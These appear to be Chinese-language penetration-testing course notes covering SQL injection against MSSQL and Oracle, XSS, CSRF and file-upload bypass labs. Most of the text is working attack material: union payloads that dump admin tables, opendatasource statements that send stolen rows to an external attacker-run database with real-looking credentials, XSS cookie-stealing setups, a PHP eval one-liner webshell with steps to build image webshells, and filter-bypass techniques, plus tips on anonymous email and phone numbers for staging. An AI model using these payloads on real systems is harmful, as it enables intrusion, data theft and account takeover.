访问远程文件
在?id=1空格开始进行拼接语句  输入语句 语句中的 . 是把域名当做三级域名来拼接后面的/ddd是随意写的   查表 
需要登录dnslog.cn
前辈搭建好的dns服务器,在自己没有域名的情况下
作用
在DNSLOG可以记录所有的相关请求信息 得到一个域名,给的是一个二级域名  我们通过访问三家域名,dnslog.cn会对网站进行记录  刷新 页面  得到 
区别
UNC路径
反斜杠\\和正斜杠//
反斜杠需要4个才能DNS注入\\\\ 正斜杠需要2个就可以DNS注入// 
原理
通过网络邻居的SMB服务访问文件,同理通过SMB服务访问对方数据库
MSSQL-反弹注入
MSSQL就是SQL sever 系统自带表:sysobjects 反弹注入拖几百条的大数据专用 注释不能用# 联合查询必须满足union前后字段数相同,还要满足所查询的类型相同,比如union select 1,2,3中 1代表数字 2代表字符串,这就不行了
知识
原理
使用原因
是SQL注入点却无法进行注入,注入工具猜解速度缓慢,错提示信息关闭,无法返回注入结果等,所以使用反弹注入。
反弹注入原理
我查询的数据插入到其他数据库当中(自己搭建的数据库),叫做反弹注入
MSSQL数据库
系统自带表
sysobjects
s代表系统自建的,u代表用户自建的 
syscolumns表
可以得到里面所有的字段名
xtype
xtype值对应的意思 https://blog.csdn.net/zengcong2013/article/details/55270857
后面接不通的值,比如xtype='U'是找用户创建的类型
#注释和 -- qwe区别
#
MySQL数据库独有的注释,在渗透力尽量可以用#进行判断是否为MySQL数据库,
-- qwe
适用于多种数据库
查字段需要知道ID
需要条件
MSSQL数据库
有公网IP
区别
反弹注入与DNS注入区别
反弹注入不需要改配置就可以用
渗透步骤
需要准备
临时邮箱
虚拟邮箱
http://24mail.chacuo.net/
隐私短信
虚拟手机号
https://www.yinsiduanxin.com/china-phone-number.html
香港云
创建云,可以搭建网站、数据库
Navicat
数据库管理工具
用这个工具管理香港云
Navicat
查表名
select *from sysobjects where xtype='U'
得到id 245575913

查字段名
select *from syscolumns
查完后去找所有ID 245575913

select *from syscolumns where id=245575913
只查找id=245575913的
靶场
MSSQL的联合查询
要用union all
判断是否存在注入
?id=1 and 1=1' -- qwe
-- qwe注释作用
?id=1 and 1=2' -- qwe
页面不正常,存在注入
判断字段数
?id=1' order by 1
?id=1' order by 3
有三个字段
判断输出点
?id=1' and 1=2 union all select null,null,null -- qwe
三个null都是输出点

寻找数据库中有什么表
?id=1' and 1=2 union all select 1,name,3 from sysobjects where xtype='U' -- qwe
得到三个表admin dtproperties news

?id=1' and 1=2 union all select 1,name,id from sysobjects where xtype='U' -- qwe
查字段需要id,所以在3的位置输入替换成id
得出三个表的ID,需要admin表的ID1977058079
通常重要信息都在admin表,所以我们要记住admin表的ID
寻找字段名
?id=1' and 1=2 union all select 1,name,id from syscolumns where id=1977058079 -- qwe
syscolumns此表内藏有所有字段
得到admin表四个字段

把他们全部拿出来
查字段内容
?id=1' and 1=2 union all select passwd,token,username from admin -- qwe
报错,因为passwd的位置是数字型,所以不能输出
?id=1' and 1=2 union all select 1,token,username from admin -- qwe
得到答案

反弹注入
语法解释
insert into opendatasource('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
语法是insert into opendatasource()函数,打开某个数据 insert into opendatasource('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq').DB_14A5E44_zkaq/dbo.temp select * from admin -- 将admin的所有信息插入到远程的('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq')库里面的.DB_14A5E44_zkaq/dbo.temp这个表里
insert into opendatasource('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
要连接一个外部的数据库
insert into opendatasource('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
链接地址
insert into opendatasource('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
连接端口
insert into opendatasource('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
当前连接的用户名
insert into opendatasource('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
连接的密码
insert into opendatasource('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
连接的库名
insert into opendatasource('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
红色看成整个数据库区连接绿色数据库里的蓝表 dbo可以理解为一种权限
满足条件
要有堆叠注入(MSSQL)
目标有外网
需要准备
首先要在Navicat里建立一个temp表作为输出容器

堆叠注入
有注入的时候用;(;代表语句的结束)
用堆叠注入可以不受select的限制,后面的与前面的无关,可以更改数据 ,增加数据,删除数据等危险操作,所以;是个危险的家伙
步骤
更改信息
insert into opendatasource('sqloledb','server=SQL5009.web.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5W44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBBFE_abcd_admin;pwd=Aa1232456;database=DB_14DBBFE_abcd').DB_14DBBFE_abcd.temp select * from admin --
这里的连接地址,库名,用户名,密码都是我们之前利用匿名网站建立好的 
查系统字代表
该语句不成立,因为insert语句和select语句是两种不同的语句
insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBBFE_abcd_admin;pwd=Aa1232456;database=DB_14DBBFE_abcd').DB_14DBBFE_abcd.temp select name,id from sysobjects where xtype='U' --
要用堆叠注入
?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBBFE_abcd_admin;pwd=Aa1232456;database=DB_14DBBFE_abcd').DB_14DBBFE_abcd.temp select name,id from sysobjects where xtype='U' --
注意事项*
MSSQL
原理
依靠opendatasource函数,把查询出的数据发送到MSSQL服务器上
和dns注入的区别
都是用了特殊函数,都将得到的信息输出传到外部,一个是DNS域,一个是mssql服务器上
猜字段不能用数字
根据了MSSQL的特性,虽然不能用数字但可用null和字母填充
可用注释
--
字母填充
要加'
系统自带库
系统自带库库名
master.dbo.sysdatabase
如何通过系统自带库查询数据库名
select name from dbo.sysdatabases
如何通过系统自带库查询表名(查询用户建立的数据表)
select name,id from dbo.sysobjects where xtype=’U’
如何通过系统自带库查询字段名(查询表的时候记录需要表的id值)
select name,id from dbo.syscolumns where id=245575913
如何查询当前库名
select db_name()
Oracle报错注入
不需要管任何的数据的类型
知识点
数据库
dual虚表
为了满足Oracle语法而出现的
通常MySQL数据查询可以是select 1,2,3 但是由于Oracle数据库语法严谨后面必须要加表名,比如select 1,2,3 from 表,不确定某个表就用dual来代替
库的概念弱化
一个用户一个数据库,以用户为单位
特有的字符串类型
NVARCHAR2
语句及函数
查询语句
查询当前用户
select user from dual

查询出所有的表
select * from all_tables
查询出当前用户的表
select * from user_tables
查询出所有的字段
select*from all_tab_columns
查询出当前用户的字段
select*from user_tab_columns
查Oracle数据库版本
select*from v$version
取数据
取一行数据rownum=1
select*from user_tables where rownum=1

输出一行数据,属于条件类,要加到where 后面使用
取两行数据rownum<3
select*from user_tables where rownum<3

要第二行数据不要第一行
select*from user_tables where rownum<3 and table_name!='NEWS'
要第二行数据所以要把前两行都显示出来所以用<3,想要ADMIN的数据所以用!='NEWS',!=是不等于的意思。 
查询出两条结果

函数
to_nchar()
Oracle数据库自带转码函数
由于Oracle数据库独有的数据类型,加入此函数可以有回显
Oracle报错注入函数
CTXSYS.DRITHSX.SN
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
!=和<>是一个意思
都是不等于的意思
靶场
显错注入
检验是否存在SQL注入
?id=1 and 1=1或?id=2-1
页面正常
?id=1 and 1=2
页面不正常
存在SQL注入
判断字段数
?id=1 order by 1
?id=1 order by 4
到5报错说明4个字段
查询当前表名
?id=1 and1=2 union select to_nchar(table_name),null,null from user_tables
得到admin表

?id=1 and1=2 union select to_nchar(table_name),null,null from user_tables where table_name<>'ADMIN'
不要admin表
查字段
?id=1 and1=2 union select to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN'
第一个字段是ID

报错注入
缺点,只能报错字符串
?id=1 and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))
可以查出当前数据库信息

1=后面解函数直接报错
注意事项*
Oracle显错注入时类型错误解决方法
使用to_char函数做字符转换,将nvarchar2转为varchar2
使用to_nchar做字符转换,将varchar2转为nvarchar2
使用cast函数做字符转换,将varchar2转为nvarchar2
使用 translate...using函数将varchar2转为nvarchar2
使用 translate...using函数将nvarchar2转为varchar2
前端渗透
XSS
前端代码注入 用户输入的数据被当做前端代码执行 核心就是执行恶意JS,来窃取对方的cookie
知识点
网站前端构成
HTML
网站框架
CSS
美化网站页面
JavaScript
让页面的功能更强大
功能
可以操作浏览器
读取浏览器信息
异步传输
偷偷发送数据库
没有刷新页面,当时它却自动进行了通讯
比如在百度搜索的时候百度下面自动出现的可能的是你想要的选项就是异步传输

窃取cookie
1.先读取用户的cookie2.然后偷偷发送给黑客,黑客收到Cookie然后登陆你的用户
1.读信息 2.发数据包
设置浏览器cookie的js代码
document.cookie="id="
页面
在网站所看到的一切都是由前段代码构成的
前端语言标识
PHP标识
<?php ?>
Js代码触发XSS
标签风格触发
<script>a</script>
弹窗语句
<script>alert('1')</script>
伪协议触发
伪协议是一种小众协议,比如qq有自己的weishi协议等,php协议只有php才能访问等 一种不同与真实协议的协议,只有关联应用才可以用(例如:javascript:alert(1)) 写上去以后需要点击才能触发
必有跳转
<a href=javascript:alter(1)>1</a>
a标签是跳转 href 点击之后进行跳转,相当于做了一个超链接<a href=javascript:alter(1)>1</a>,比如后面接百度,点了之后就进入百度了
语句解释
<a href=javascript:alter(1)>1</a>
跳转标签
<a href=javascript:alter(1)>1</a>
点击跳转到哪里
<a href=javascript:alter(1)>1</a>
Js专用的伪协议
<a href=javascript:alter(1)>1</a>
要执行的Js语句
事件型(方法)触发
这里的事件就是指js事件,通过之歌js事件来执行 例如<img src='1' onerror=alert(1)/>当图片加载错误时弹窗,以此来触发执行语句
<img src='1' onerror=alert(1) />
触发器:当满足相对应的条件做某一个事情
语句解释
<img src='1' onerror=alert(1) />
/可以自己和自己闭合
标签
<img src='1' onerror=alert(1) />
在标签里on开头的东西很高概率是事件型,比如onclick是指点了什么会触发
<img src=# onerror=alert(1) />
指加载一张图片
<img src=# onerror=alert(1) />
onerror的意思是指当加载失败的时候会出现什么
on事件大全
XSS语法/弹窗函数
折射型
常用事件型
oninput(输入框输入时触发)
定义
在input标签里面输入内容
onerror(加载错误时触发)
onload(加载成功时触发)
onclick(点击触发)
' onfocus=alert(1) autofocus //
' onfocus=alert(1) autofocus //
当前框获得焦点的时候触发,比如鼠标移动到存在xss的输入框就自动弹窗
' onfocus=alert(1) autofocus //
自动获取xss
判断是否存在XSS
只要能用控制Js弹窗就说明存在XSS
验证漏洞存在的弹窗语句
<script>alert(1)</script>
Js特有的语句
危害
盗取Cookie(用的最频繁的)
通过JS脚本读取Cookie发送到我准备好的目标服务器
获取内网ip
获取浏览器保存的明文密码
截取网页屏幕 网页上的键盘记录
防范XSS
转义字符输出
用白名单验证
HTML实体编码
<被<替代
>被>替代
htmlspecialchars()函数
同源策略
又叫同源性法则
A网站是无法通过JS来获取B网站的cookie
浏览器的同源策略,限制了不同源头的JS,对当前页面的资源和属性的权限。同源策略保护了a.com域名下的资源不被来自其他网页的脚本读取和篡改
同源
需要同域名 ip 端口 协议
不同源
协议
http://www.baidu.com
https://www.baidu.com
端口
http://127.0.0.1:80
http://127.0.0.1:81
两个ip同时访问同一个网站
同源
满了了同协议,同域名,同端口
http://192.168.1.2/abc
http://192.168.1.2/a/index.php
keepsession
保持汇话,让cookie不过期
出现的位置
重灾区:评论区、留言区、个人信息、订单信息等 针对型:站内信、网页即时通讯、私信、意见反馈 存在风险:搜索框、当前目录、图片属性等
反射型XSS
反射型 非持久型xss 只对本次访问有影响 你给我传参,然后触发Js,如果你不给我传参,就不会触发,传参必须包含恶意语句
原理
(钓鱼)某人发现百度首页有反射型XSS,他必须把这个链接发给你让你点击你才会中招(需要受害者交互) 通常会加以伪装使用短连接,比如投票什么的。
短连接
把网址内的一切语句进行压缩,让人更难发现其危害
光标移动到输入框自动触发
子主题
靶场判断XSS
找到输入框,随便写然后提交。

右键找“查看页面源代码”

在源代码中寻找刚才输入的部分,看看有几个部分存在刚才在输入框输入的信息

看到h2标签我们就要闭合掉h2标签

闭合掉</h2><center>
写成</h2></center><script>alert('1')</script>
但是发现网站使用了HTML实体编码防御
右键检查页面元素,发现网站使用双引号闭合

我们也用双引号去闭合
但是“右键检查元素”所给出的""其实是假的
在页面源代码中可以看到使用的是'闭合
而我们输入单引号会被转义,要用到oninput
‘oninput=alter(1) />//
成功弹窗

存储型XSS
存储型 持久型xss 存入数据库,访问时触发 存储下来的,不需要传参中必须有恶意语句,例如每一个访问的当前存在有存储型xss的用户都会弹窗,相当于恶意语句已经被存储起来可以存在数据库或txt文件里,访问者都能读取到。 中了存储型要么去数据库消除,要么修改源码
函数/语法
PHP语言
file_put_contents()函数
file_put_contents()函数把一个字符串写入文件中。
file_put_contents('8.txt',$_GET['a'])
内容写到8.txt
变量a的传参写入
file_get_contents()函数
file_get_contents(8.txt)
读取8.txt文件
htmlspecialchars()函数

用于HTML实体编码进行转码防止XSS漏洞产生
XFF
X-Forwarded-For
是一种传参里面记录了访问者的真是IP地址,如果没做处理会存在存储型XSS
防御方法
正则表达式过滤
在输入输出全部过滤掉'">
HTML实体编码绕过方式
找一个不编码的地方
比如某个传参点它不编码
避免输入会编码的内容
比如在script中间写php <script> <?php echo $_get['a']> </script>
编码又解码
子主题
XSS平台
当我们不会构建别人Cookie的Js,这个时候就可以使用XSS平台来完成 注意事项* xss平台名字越短越好,防止名字太长打不出来有限制
特点
优点
可以编辑JS语句
缺点
后台会记录你所有的cookie
搭建方法
xs.sb  注册后点击创建项目  给项目起个名字  默认版块和xss.pt是偷cookie用的,然后点击下一步  出现的这个页面下面的语句都是测试语句,上面的是标签触发,下面的是事件触发,极限代码是指最精简的代码了 
XSS平台偷cookie设置:默认版块和XSS.js是偷cookie用的
错误日志存储XSS漏洞
访问一个不存在的文件夹或不存在的文件,它就会把这个日志记录下来,然后把记录下来的东西放到后台,只要管理员去看这个错误日志,后台的错误日志里没做防护,这样cookie就被偷走了
靶场
通杀漏洞
网址/index.php?c=mail&m=test<script>alert(1)</script>
c=mail&m=test中的mail test 是get传参中所拥有的 
利用xss平台窃取cookie后,将cookie复制到burp里再放包就成功登陆管理员账号了
注意事项*
存储型xss
怎么攻击
嵌入到了web页面的恶意代码被存储到服务器上,例如你注册时候将用户昵称设置为XSS恶意代码,那么访问某些页面会显示用户名的时候就会触发恶意代码
子主题
原理
提交恶意xss数据,存入数据库中,访问时触发
攻击条件
能否插入数据,插入的JS代码能否正常执行
和反射型区别
存储型存入数据库中,可持续时间长,而反射型持续时间短,仅对本次访问有影响,反射型一般要配合社工。
不建议弹窗,最好采用页面加载错误
出现的位置
可以插入数据的地方,比如用户注册,留言板,上传文件的文件名处,管理员可见的报错信息
危险等级
SRC一般是中危,项目上妥妥的高危-严重,杀伤力还是挺大的
XSS平台
xss平台的payload怎么使用
和弹窗一样,直接去加载,一般XSS平台也会提供攻击代码
xss平台payload作用原理
访问后触发,去加载平台给出的脚本网址
dom触发算什么
算dom型xss
Js
Js窃取的究竟是哪里的Cookie?
Js操纵的主体是浏览器,窃取的当然是浏览器的Cookie,所以有XSS的地方,你如果抓包改Cookie去访问,XSS是吃不到你修改过的Cookie,其实你访问的时候抓包就可以看到,第一次访问正常页面,第二次会GET传参访问XSS平台
Dom Based XSS
DOM型 利用DOM对象触发的xss 不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,大部分属于反射型
知识点
Dom Based XSS
依靠js代码触发xss漏洞
Dom
是一个Js可以操纵浏览器和网页显示内容的接口
操纵浏览器:document.cookie操纵浏览器改ID
document.cookie="id=123" 
操纵网页:document.write('nf')
在浏览器按F12进行,控制台处更改 在页面输出nf就是document.write('nf') 
特点
不经过服务器进行请求,不依靠传参进行攻击的XSS
192.168.1.92/3.html#alert(1)  在页面输入了alert(1)弹窗恶意语句,但是在抓包内容里并没有发现输入的语句,说明没有走任何的传参,这就是Dombased XSS攻击
依靠浏览器本地,可以理解为自己打自己
Js语言
都是在浏览器内进行的
document
document.*对象属性
都是在浏览器按F12出现的控制台里更改
document.cookie
更改Id
document.body
读取当前网页源码里的信息
document.domain
返回当前网站的域名
document.lastModified
作用
判断页面是动态页面还是静态页面
动态页面没有什么SQL注入的地方,但是静态页面很容易找到SQL注入的地方
查看当前页面被最后修改的日期和时间
多次输入发现页面时间没有变化就说明了这是个静态页面 
document.referrer
是一个来源的URL
可以告诉你自己是从哪个页面来到当前页面的 
document.title
就是显示出当前页面的title全名

document.url
document.*()对象方法
document.close()
关闭用document.open()方法打开输出流,并显示选定的数据。
document.getElementById()
返回对拥有指定id的第一个对象引用。
document.getElementsByName()
返回带有指定名称的对象集合。
document.GetElementsByTagName()
返回带有指定标签名的对象集合。
document.Open()
打开一个流,以收集来自任何document.write()或document.writeln()方法输出。
document.write('')
改写页面信息
location.*
location.hash
获取锚点后的传参
动态页面/静态页面
动态静态页面都可以打xss
动态页面
容易存在漏洞,而被渗透
通过document.lastModified发现时间会变化
伪静态页面
假装是静态页面,其实是动态页面,防止被渗透的障眼法 特点是 网址后面写着html,可能存在SQL注入了。 
通过document.lastModified发现页面时间会随着刷新而更新
测试方法
在页面的7.html处进行更改,改成7'-1.html页面报错存在注入点 
静态页面
通过document.lastModified发现页面时间静止不动
Js源码分析
var pos=就是php的$a=
子主题
#在url里的意义
是锚点
锚点就是书签
随便找个百度百科在#后面改数字会跳转到个位置 
攻击方法
在url栏?的位置改成#然后接<script>alert(1)</script>
锚点优点
不会和服务器进行交互,攻击后不易被察觉,是Js自己的东西与服务器没有关系
危害
DOM-XSS不经过服务端,只看服务端的日志和数据库,很难排查到 DOM-XSS一般是通杀浏览器的 DOM-XSS一般是被攻击的时候就执行了XSS,由于是前端DOM操作导致,很难留下痕迹
防御方法
(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到<script>则进行JS编码。
区别
Cookie和密码
Cookie具有时效性
优点便捷性
没有cookie
点击商品登陆账号密码,加入购物车 登陆账号密码,结账需要登陆
密码随时可以用
反射和存储区别
反射
需要用户交互
存储型
不需要用户交互
XSS
反射型XSS
交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等
存储型
交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面
DOM型
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,大部分属于反射型
CSRF
和xss区别
xss
在目标网页上执行js来窃取cookie
csrf
子主题
攻击流程
把数据包改成csrf用的
在burpsuite上建立一个kk.html的txt文件
1.抓包后右键,点engagement tools下面的generate CSRF PoC

2.自动生成HTML
把csrf html栏里面内容全部复制下来。 
3.然后生成html文件放在phpstudy目录下
4.火狐访问(别用谷歌浏览器访问)
5.burp抓包
csrf简介
满足csrf渗透条件
恰好登录
恰好访问了
原理
利用COOkie的时效性
Js可以操纵浏览器发送数据包
访问某个站点就代表信任那个站点一切的Js
比如我访问a网站,浏览器认为a网站是安全的所以,a网站js可以让我去访问b网站
使用场景
在拿不到对方cookie的时候使用
token
什么是token
在表单和cookie里面都放了一串随机值,我们在提交数据的时候不仅仅是提交了修改账号密码 写文件等内容,我们所修改的信息内还会添加进随机值,token就相当于在你传输数据的时候加了随机的密码。很多时候传参的数据包和cookie里面有一串我们看不懂的相同的值,这就有很大的概率存在token
判断网页是否存在csrf
看Token
一句话木马
<?php @eval($_request[8]);?>
冷知识
csrf
区别
ssrf
CSRF为跨站请求伪造,SSRF为服务器请求伪造,CSRF的核心是让客户端的浏览器去访问,SSRF核心是让服务器去访问
xss
csrf伪造请求,xss为跨站脚本攻击,一个为伪造cookie等验证信息,一个则是使用一个脚本攻击。 XSS 核心是操作目标网站的HTML代码 窃取Cookie CSRF 核心是在非目标网站的HTML代码做手脚 让受害者浏览器偷偷的去访问目标网站
cookie在csrf中的作用
CSRF中,就是利用这个cookie,来盗用其他用户的身份来进行操作,就相当于有个人拿了你的身份证去上网,cookie就相当于这个身份证
形成原因
csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出 登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间, 攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做 的功能(比如是添加账号等) [就是利用了Js有个叫做异步传输的功能就是ajax,Js操作浏览器发送数据包,不需要刷新页面就把数据包发送出去了]
csrf攻击原理
用户访问一个恶意站点,恶意站点的Js会通过异步传输让用户去访问另一个站点,另一个站点用户正好是处于登陆的状态,然后就操纵数据包,进行恶意操作
使用
配合和xss
首先使用XSS直接执行CSRF的JS恶意语句,用一个反射型的xss,盗取cookie后,构造csrf脚本或脚本去攻击
攻击流程
用户A登陆B站,在登陆网站B时,收到了攻击者C发送的盗取cookie进行操作的链接到C,得到cookie后csrf进行操作
危害
转账,修改密码,越权等操作
1. 一定要登陆A时同时访问C吗
不一定,cookie都有时效性,一次性的cookie必须这样,不是一次性的则会存在硬盘中
不可以窃取cookie
这是xss的操作,csrf只是利用cookie
绕过
token
Token的生成一定要随机,有些Token根本就不验证或者时间戳做Token 如果存在xss漏洞,token防御将无效
1. referer
当浏览器的检测不严,比如referer值为空时,可以绕过 Referer可以伪装绕过
载体
一个包含恶意链接或脚本
验证网站是否存在csrf
A的页面能篡改A的信息,别的页面能篡改别的信息就说明存在csrf
做两个账号将第一个账号的信息做成一个csrf攻击包,然后将第一个账号退出登录,让第二个账号登录直接去访问做出来的csrf攻击包,如果访问后能把第二账户的信息篡改掉,那么代表这个地方存在csrf
文件上传解析漏洞
上传文件的语言是php,有不会的函数就去百度找php 函数名
课外知识
知识点
webshell
宏观意义是网页会话
安全意义是你获得了网站的权限
网站权限有两个含义
这里指后端代码执行权限(可以任意的执行后端代码)
网站后台权限
后端代码的作用
移动你的服务器文件,可以操作数据库,可以执行cmd命令,可以比你控制你的计算控制的更广(后端代码的权限通常要你用户的权限高)
需要的工具
Webshell管理工具(中国菜刀、C刀、蚁剑、冰蝎)
菜刀使用
可以上传下载删除文件等,上传木马等
连接服务器
先添加地址
右键添加 然后输入我们要连接的url地址  8就是这个传参密码 
双击运行就可以了
然后就进入服务器了

输入cmd的命令
连接数据库
右键数据库管理
点配置
点配置
选择数据库类型

知道内网地址可以直接进入内网
这里的localhost是连接网站的地址 
找到输入密码点提交
账号密码都是root 
修改文件日期
右键修改文件日期

菜刀一般都是post交互,所以木马里的request要用post
php在线
百度搜php在线
为什么做小图片木马而不是大图片?
因为php读取有限,一句话木马都是放在图片最后,图片大了可能读不到木马那里就结束了
知识点
文件上传
上传你的目的
上传的文件要能够被当做后端代码执行
前段检测/前段验证
前端检测就是没有检测
后端验证
由开发所决定的
黑白名单
黑名单
名单上的东西拦截
jsp
jsp jspx jspf
这些都会被当成jsp来解析
asp
asp asa cer aspx
php
php php3 php4
exe
exe exee
白名单
名单上的东西放行
验证木马是否上传成功
phpinfo()
 
文件上传成功如何屏蔽报错?
<?php @eval ($_REQUEST[8]);?>
eval前面加@就是屏蔽报错的意思
文件上传流程
文件上传=>
检测=>
这个in_array是检测的意思,检测$file ext 是否在 $deny_ext里面  $deny_ext代表了前面所有的禁止的值 
上传到缓存文件(一个tmp目录)=>
通过后端代码移动到=>
move_uploaded_file就是移动文件到某某某位置的意思 
指定目录重命名
木马制作
图片马制作
1.准备一个图片,一个文档(.txt格式)
2.在文档内写上一句话木马<?php @eval($_REQUEST[8]);?>
3.输入做图片马的命令,并生成一张带有木马的图片
copy 123.jpg/b + 1.txt shell.jpg ====>拷贝123.jpg文件,/b是将123.jpg转换为二进制 ,将123.jpg和1.txt进行复合生成一个新的图片叫shell.jpg(jpg名字前面的名字都是可以随便起的)  生成一个带有木马的shell.jpg文件 
压缩包/图片木马制作
1.准备好一个123.txt文档一个1233.jpg图片

2.在1.txt文档埋病毒

3.输入mcd在路径栏,调出终端

4.cmd命令制作
copy 1233.jpg/b + 123.txt  更改 格式 .zip和.php看看是否成功  压缩包成功  看一下php的代码有没有一句话木马  php格式是否成功需要去url栏查看  
php函数
红框内的点是php连接符的意思 
eval()
把函数内的字符串当任意代码执行
一句话木马
<?php eval ($_REQUEST[8]);?>
是一个超全局变量
request是一个数组的
<?php eval ($_REQUEST[8]);?>
选中get post传参为8的值
system()
后端函数相当于windows系统的cmd命令
查看显示登录名whoami

查看后端IP地址 system('ipconfig');

strrchr()
返回最后一个点后面的内容 例如1.php.123123输出返回的是.123123
str_ireplace()
该函数用于替换,hello world 的world 替换成了shanghai,红圈内第一个替换成第二个  
move_uploaded_file()
把文件(file,newloc)的file移动到newloc 
rand()
生成一个随机数,10-100之间 
data()
获取时间的一个状态  php在线 结果是显示当前的时间的 
在文件上传中可以记录用户上传文件的时间
substr()
echo substr("Hello world",6)是指从第六个数开始截取,截取后是world  ['upload_file']['name']是指上传的文件名 
substring和substr的区别
strrpos()
查找语句中最后一个php的第一个字符p出现的位置,从Y开始到最后一个php的第一个P的位置正好是21的位置,所以输出21 若语句中出现 . 是不算位置的 
getimagesize()
文件上传漏洞的危害
不一定能拿到shell,比如有时候需要配合解析漏洞,文件包含漏洞,文件上传可以藏一个shell就已经算是很成功了
绕过方法
前端检测绕过
前端检测=没检测 前端检测的检测源码写在前端页面的源码的里
特点:没有校验
1.上传文件方法
要求上传.jpg/.png/.gif格式

前段验证绕过
1.将文件格式修改成.jpg然后上传
2.打开burp抓数据包
在数据包内更改格式将.jpg更改为.php上传
上传完成利用phpinfo()查询是否上传成功
剩下就是连接菜刀控制目标了
后端检测绕过
黑名单绕过
2.content-type传参(白名单机制)
要求
满足image/jpeg或image/png或image/gif

绕过方法
因为是content-type类型,正常传.jpg格式,然后抓包,改filename下面的内容为.php

上传完成利用phpinfo()查询是否上传成功
在图片的位置右键复制文件地址,然后浏览器打开  后面加?8=phpinfo() 下面的图表示成功了 
3.黑名单绕过
如何判断黑名单机制
黑名单机制只拦截黑名单的内容可以乱传比如传444.a这种不可能存在的后缀的格式来判定
上传要求
不允许上传.asp/.aspx/.php/.jsp

绕过方法
jsp
jsp jspx jspf
这些都会被当成jsp来解析
exe
exe exee
这些都会被当成exe来解析
php
php php3 php4
这些都会被当成php来解析
asp
asp asa cer aspx
这些都会被当成asp来解析
上传完成利用phpinfo()查询是否上传成功
在图片的位置右键复制文件地址,然后浏览器打开  后面加?8=phpinfo() 下面的图表示成功了 
4. .htaccess文件绕过
.htaccess提供了当前文件配置改变你的一个方法,要找什么文件都要按照.htaccess的规则来 .htaccess作用:文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户 .htaccess缺点:Apache这个功能的默认状态下是不开启的
注意*该模式出现在apache,默认是关闭的,有伪静态的可以试试
上传要求
禁止了所有的文件格式 删除文件名末尾的点 去除字符串::$DATA 首尾去空

绕过方法
1.建立一个空文件,格式.htaccess,没有名字
win7改文件名
ren是修改文件名的命令 
2.用Addtype application/x-httpd-php .jpg写在.htaccess文件内
必须是空的里面填写以下信息  
上传完成利用phpinfo()查询是否上传成功
在图片的位置右键复制文件地址,然后浏览器打开  后面加?8=phpinfo() 下面的图表示成功了 
5.后缀大小写绕过
上传要求
在第四关基础上加入了.htaccess

存在大小写绕过

绕过方法
将文件名后缀改成.PHp

上传完成利用phpinfo()查询是否上传成功
在图片的位置右键复制文件地址,然后浏览器打开  后面加?8=phpinfo() 下面的图表示成功了 
6.windows站点的文件名后缀(空)绕过
对于windows来说php和php空格是相同的 对于检测来说php和php空格是不同的
上传要求
7.文件后缀(点)绕过
绕过方法
抓包在burp里文件后缀名加个.然后放包

8.windows文件流绕过(::$DATA)
::$DATA (windows文件流绕过)利用ADS(交换数据流)是NTFS磁盘格式的一个特性, 在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其他文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件
原理
1.php和1.php::$DATA
windows文件后缀默认加::$DATA,所以他们在windows里是一样的
在后端检测上是不一样的
文件寄宿方法
